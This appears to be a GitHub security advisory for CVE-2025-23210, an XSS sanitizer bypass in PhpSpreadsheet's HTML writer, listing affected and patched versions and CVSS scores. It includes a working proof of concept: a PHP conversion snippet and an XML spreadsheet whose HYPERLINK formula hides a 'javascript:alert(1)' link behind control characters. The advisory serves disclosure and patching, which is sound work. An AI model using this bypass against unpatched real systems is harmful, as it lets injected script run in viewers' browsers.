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Bypass XSS sanitizer using the javascript protocol and special characters

Moderate
oleibman published GHSA-r57h-547h-w24f Feb 1, 2025

Package

composer phpoffice/phpspreadsheet (Composer)

Affected versions

>= 3.0.0, < 3.9.0
< 1.29.9
>= 2.2.0, < 2.3.7
>= 2.0.0, < 2.1.8

Patched versions

3.9.0
1.29.9
2.3.7
2.1.8

Description

Product: PhpSpreadsheet
Version: 3.8.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)
Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow
Exploitation conditions: a user viewing a specially generated xml file
Mitigation: additional sanitization of special characters in a string
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.
The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression
fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character
fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code
fig6

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Active
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CVE ID

CVE-2025-23210

Weaknesses